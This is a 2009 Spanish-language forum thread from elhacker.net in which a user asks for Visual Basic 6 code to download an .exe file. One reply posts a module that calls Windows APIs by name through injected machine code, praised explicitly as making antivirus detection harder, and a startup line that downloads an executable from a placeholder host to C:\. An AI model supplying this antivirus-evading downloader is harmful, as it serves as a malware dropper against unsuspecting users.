Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: ToNy_EsP en 7 Junio 2009, 14:10 PM

Título: Descargar .exe desde VB
Publicado por: ToNy_EsP en 7 Junio 2009, 14:10 PM
Pues buesqué por el foro, no lo encontré;
Busqué por Google, encontré cientos, pero de esos cientos ninguno funcionaba a la hora de descargar el archivo y guardarlo como .exe en la ruta que yo elija.

Probé codes que re venian en la web de recursosvisualbasic, codes de otras webs como elguille... Algunos funcionaban con Inet, otros con un control OCX, pero no me funciona ninguno con VB6 :S.

¿Alguien podría pasarme un código válido? Llevo 2 semanas enteras buscando pero no encontré nada  :-(

Un saludo.
Título: Re: Descargar .exe desde VB
Publicado por: Spider-Net en 7 Junio 2009, 15:32 PM
Veo que sigues sin usar mucho el buscador del foro (http://foro.elhacker.net/Themes/converted/images/spanish/search.gif)

Hay una función hecha por Cobein buenísima que llama a una API directamente por su nombre, esto dificulta su detección por los antivirus y llamando de esta forma a la API URLDownloadToFileW no hay problema alguno para descargar un fichero.

Módulo:

Código (vb) [Seleccionar]
'Call API Function
'Credits to Cobein

Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
    Dim lPtr                As Long
    Dim bvASM(&HEC00& - 1)  As Byte
    Dim I                   As Long
    Dim lMod                As Long

    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    If lMod = 0 Then Exit Function

    lPtr = VarPtr(bvASM(0))
    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
    For I = UBound(Params) To 0 Step -1
        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
        RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4
    Next
    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)

End Function


Form:

Código (vb) [Seleccionar]
Private Sub Form_Load()
   lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)
End Sub


Saludos!
Título: Re: Descargar .exe desde VB
Publicado por: seba123neo en 7 Junio 2009, 19:10 PM
Hola, no te funciona ninguno? algo debes hacer mal, tenes api's para ahcerlo, lo podes hacer con sockets...lo podes hacer con el INET y otros OCX, lo podes hacer con descarga asyncrona...lo podes hacer de un monton de maneras...

saludos.
Título: Re: Descargar .exe desde VB
Publicado por: oskoa en 10 Junio 2009, 21:06 PM
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz
Título: Re: Descargar .exe desde VB
Publicado por: BlackZeroX en 10 Junio 2009, 22:05 PM
Cita de: oskoa en 10 Junio 2009, 21:06 PM
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!
Título: Re: Descargar .exe desde VB
Publicado por: ssccaann43 © en 10 Junio 2009, 23:33 PM
Cita de: ░▒▓BlackZeroҖ▓▒░ en 10 Junio 2009, 22:05 PM
Cita de: oskoa en 10 Junio 2009, 21:06 PM
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!

El no fue quien lo pidio...! Fue ToNy_EsP